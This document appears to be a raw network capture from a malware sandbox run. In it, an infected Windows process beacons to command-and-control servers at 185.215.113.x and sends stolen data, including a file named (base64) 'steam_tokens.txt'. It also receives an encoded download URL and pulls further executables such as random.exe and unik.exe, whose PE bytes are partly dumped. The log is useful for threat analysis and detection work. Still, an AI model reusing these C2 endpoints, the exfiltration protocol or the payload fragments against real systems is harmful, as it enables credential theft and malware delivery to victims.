44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="message"files------HDAFBGIJKEGIECAAFHDH--
Nov 27, 2024 16:34:57.942464113 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:57.959336042 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file"------AEGHIJEHJDHIDHIDAEHC--
Nov 27, 2024 16:34:58.918167114 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:58.948134899 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="message"ybncbhylepme------FIJJKECFCFBGDHIECAAF--
Nov 27, 2024 16:34:59.403052092 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49907	185.215.113.16	80	2708	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:34:59.529676914 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 27, 2024 16:35:00.917799950 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:35:00 GMT Content-Type: application/octet-stream Content-Length: 1917952 Last-Modified: Wed, 27 Nov 2024 14:40:55 GMT Connection: keep-alive ETag: "67472f77-1d4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@L.@WkDKDK @.rsrcD@.idata @ *@pmwkhdjz01(@vcbfrjitK@.taggant0K""@
Nov 27, 2024 16:35:00.917853117 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:00.918495893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:00.918555021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:00.918565035 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:00.919823885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:00.919935942 CET	1236	IN	Data Raw: 19 db 7b d8 18 c9 26 3a 9f 2c 56 c3 1a c0 41 ef d7 0c 56 37 2a 3f 7a db 6a 4e 9b 08 5d 18 38 76 2b bc 25 fa 13 48 b4 07 29 10 58 f9 97 70 36 f7 e6 3e 27 07 d1 20 63 2f 38 7c 83 51 99 0c 1e ba c5 2c 65 13 11 8c 58 fd 57 70 56 b7 19 bf d0 a9 61 fc Data Ascii: {&:,VAV7?zjN]8v+%H)Xp6>' c/8\|Q,eXWpVaMLd7)XpVw#6t.W\|Gn438xfiv);KB34'@9[$=ucpVl5BKc24+$woO*\Jmt)E$0G.[MT
Nov 27, 2024 16:35:00.919945002 CET	248	IN	Data Raw: 3c 68 05 bb e4 b4 62 cb ce e4 0c 88 d3 fb 6a 87 d0 f2 50 5b 0e dc 51 17 6f ab ea 8f bc 22 29 ad b1 39 10 e7 7e f5 d9 fa d5 4a 18 6a b5 04 05 8a 0d cd 36 37 95 dd 79 54 1d 32 18 17 3f 87 7f 3e 49 04 1c 4a c9 0e fc 23 da 65 4d f0 66 1c a2 54 4a d1 Data Ascii: <hbjP[Qo")9~Jj67yT2?>IJ#eMfTJNHjBCm-WbLv4[dl1BcZ+S/WU=k<Kh#XSjj\| ul-X?R<+?O+{TqFYTOOO])
Nov 27, 2024 16:35:00.920833111 CET	1236	IN	Data Raw: 4c ff 7b f9 fd 34 de ba 4b ee 53 73 b5 71 1c 83 0e 68 ac eb 23 6f e3 c6 8b 7c db b7 18 4f d5 4b 7e 01 ef cd fb fc 22 de 86 f4 62 54 12 04 0d 96 69 23 13 fd 68 f0 1d f4 1e 1d 5d d0 4a 13 94 83 21 2e 27 60 35 6c 68 9e a1 72 58 0a b3 bc f4 b2 1a b8 Data Ascii: L{4KSsqh#o\|OK~"bTi#h]J!.'`5lhrX&#4au,vL74PL4J1/k[.d{\O+#7%RT*;'V#/j(xgA}gRsN?t3-EJYxMD9Yk`i//$7d^\|
Nov 27, 2024 16:35:00.920948982 CET	1236	IN	Data Raw: 66 eb ab 0d 43 8c 06 87 66 7a eb 97 6e 2d d5 39 b9 a0 86 fa d4 00 5a 53 a0 4e d3 33 0b 9a bb fb b6 cc 5a ff 89 f4 66 1d 60 1e 59 bc e9 e9 47 57 ad 61 63 f5 8f ed ea 51 f9 eb ff ce 7f 54 c7 82 12 22 25 84 81 30 85 57 18 d4 ae 5e 9a 82 c0 e5 c1 e5 Data Ascii: fCfzn-9ZSN3Zf`YGWacQT"%0W^PY:yJua%8EFEVbll*pr-~-4=sK1NW&O~cJ^^L13+$}DS72 [Gka[
Nov 27, 2024 16:35:01.037827015 CET	1236	IN	Data Raw: db 60 53 a8 ea ee 6f c4 1f 0d 9f 09 a2 bc 79 54 f7 32 14 e5 56 77 69 89 5a 3e fc 53 71 ad db ce 99 ec 55 0e 0d 07 d3 6f 51 c6 16 96 f1 46 58 d5 fd 71 39 fe c9 8e 08 09 e6 37 1d f1 67 89 f4 3f 15 ef e1 50 58 f0 71 26 f3 af 8f c4 0f d4 5e fa 3e d6 Data Ascii: `SoyT2VwiZ>SqUoQFXq97g?PXq&^>0aJ3pseLvsT\xI\|dz#GXSK8*L.$zyrT-[voTLJ<luEp"z1#"gph\|P+o-/3/\|]<\#})DUP`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49931	185.215.113.206	80	2708	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:35:04.835969925 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DBKFIDAAEHIEGCBFIDBF--
Nov 27, 2024 16:35:06.773363113 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50041	185.215.113.43	80	8788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:35:48.097413063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 27, 2024 16:35:49.499548912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50052	185.215.113.43	80	8788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:35:51.141575098 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 30 42 34 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22970B45882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 27, 2024 16:35:52.546828032 CET	726	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 37 0d 0a 20 3c 63 3e 31 30 30 39 36 32 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 34 61 30 32 62 62 34 62 65 31 23 31 30 30 39 36 33 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 36 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 36 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 [TRUNCATED] Data Ascii: 217 <c>1009625001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b4a02bb4be1#1009635001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009636001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009637001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009638001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009639001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50054	31.41.244.11	80	8788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:35:52.681458950 CET	52	OUT	GET /files/unik.exe HTTP/1.1 Host: 31.41.244.11
Nov 27, 2024 16:35:54.100960016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:35:53 GMT Content-Type: application/octet-stream Content-Length: 2014720 Last-Modified: Wed, 27 Nov 2024 14:12:07 GMT Connection: keep-alive ETag: "674728b7-1ebe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 02 7f 1f 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$RC<<<<<<~G<=3<<<<Rich<PEL[d\|pK@K[o`4$K P@.rsrc4`<@.idata @ )@qsywaako0@uxjqxqlj`K@.taggant0pK"@
Nov 27, 2024 16:35:54.100995064 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:54.101006031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:54.101090908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:54.101104021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:35:54.101111889 CET	1236	IN	Data Raw: 93 4c 6f d2 10 c9 15 d3 a3 2d f9 c9 12 7f 82 c7 4e 3a c8 32 70 7c 47 76 6e 75 bd 84 25 bc ea 05 81 91 82 98 a8 ea 6f 99 73 48 56 08 f0 75 b4 d9 a5 cd e7 e0 8c b9 88 f8 6c 56 d0 89 73 7e 56 9d 69 5f 40 b2 71 7b bc 59 55 71 b4 6c 0a b3 fb cb 5f 88 Data Ascii: Lo-N:2p\|Gvnu%osHVulVs~Vi_@q{YUql_Dv[4EAX%)dn~z-lg~GfdgqK@1Y$yxeJBcAgD311=@\w"(Q6tjl%~dsw%6f
Nov 27, 2024 16:35:54.101291895 CET	896	IN	Data Raw: 31 20 3c ed 5c 55 1e d5 56 31 31 95 ca 08 2a fd 82 9f b1 d0 f5 92 0a f7 40 32 a7 dc fe 83 2d f0 1c 05 10 9e 7c 1e b5 ea 61 0b f0 05 2e 2d 85 e8 b0 07 04 4f ee ae 96 ce b6 6e 1d 82 28 43 1a 42 69 4d bc fb 1e 44 80 fc 52 34 95 b4 bb 93 f4 fd 28 87 Data Ascii: 1 <\UV11*@2-\|a.-On(CBiMDR4(+sg@zgdG19~.3946h8SsU9;\^buyan%&)_%[-eM_-=Tg9Wjf&dvcN$
Nov 27, 2024 16:35:54.101305008 CET	1236	IN	Data Raw: ae 40 c5 62 a1 01 73 f5 11 c3 31 39 58 90 b4 a2 d0 f7 6e 4d 1c 7f 3e 4e c8 13 7e f4 76 ef 17 89 cf 8b 1a 65 0e 75 f6 ed 06 87 0c 07 b6 a6 fe a1 13 a9 26 9c 70 a5 35 95 06 36 75 75 0f 05 ec 05 04 3d 6c 95 01 c3 b9 dc 16 39 f3 ae ab 60 6f b8 39 b3 Data Ascii: @bs19XnM>N~veu&p56uu=l9`o9T^w>tvEyv%p9".1Zs/>Y;C`Ovp-,/CtfK{^m<bM^&n=lt9DBHO#5T-^\|z
Nov 27, 2024 16:35:54.101315022 CET	224	IN	Data Raw: 7c af 0e 65 b0 68 35 95 42 8e 96 ac 37 f8 e2 a5 87 07 9e ee f2 63 9a fc d3 7a 4a 26 7d 81 20 9e 55 84 91 24 76 ba 99 4a 66 1a 24 b9 d7 99 6a 45 0d c7 55 fd 96 9f 85 2c 8b f2 b1 c5 79 b4 ba e1 50 83 ad 60 e4 43 86 42 30 bb 54 b0 8a f0 8e fd 96 1f Data Ascii: \|eh5B7czJ&} U$vJf$jEU,yP`CB0T2LD:Glu{Y4u.vq=`}U=\z~%.Ry`tcW1-T.3EmCe=Vl&kmCW2rSQ6CKaae&<i-
Nov 27, 2024 16:35:54.101418972 CET	1236	IN	Data Raw: e6 3a b1 5e d3 02 4c d8 50 23 ad f8 86 43 6a ee 30 78 79 36 b1 2d a9 ff b0 6a a4 6d 9f a7 35 fd c6 0e db 02 94 01 10 6d 10 6b 43 9d 76 bb f4 af 46 d0 aa 5f c2 50 85 ec 3a 73 aa 65 5b 39 db a1 24 6f 25 2a 0a a5 55 95 aa bb 75 3c 95 05 01 11 8e b9 Data Ascii: :^LP#Cj0xy6-jm5mkCvF_P:se[9$o%Uu<T45?36~1$]y;L!.FVHhAx}}u]&RcHQ5H)C02aQf?[=b45SoS<yl=A{('4}=^>~
Nov 27, 2024 16:35:54.221621990 CET	1236	IN	Data Raw: 30 e7 9a ad a0 b0 b7 aa ad 05 74 af 35 66 b4 1d 30 01 60 ad 17 05 f2 91 91 11 fb 1d c0 04 29 ae de 73 c5 af 67 05 00 2d a7 15 83 ae 3e 83 35 2e b0 86 31 22 36 99 32 25 b9 9d 3e 19 a5 03 38 1c a6 94 27 10 a2 e8 b5 12 af eb 2c 17 ab ef 28 ad 94 e2 Data Ascii: 0t5f0`)sg->5.1"62%>8',(6y\|prwnb6eY\P(R+W/"N&B69E=44lNmxgnhMxac5[xEO093e>vId.r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50072	185.215.113.43	80	8788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:36:00.171606064 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 36 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009625001&unit=246122658369
Nov 27, 2024 16:36:01.514822006 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
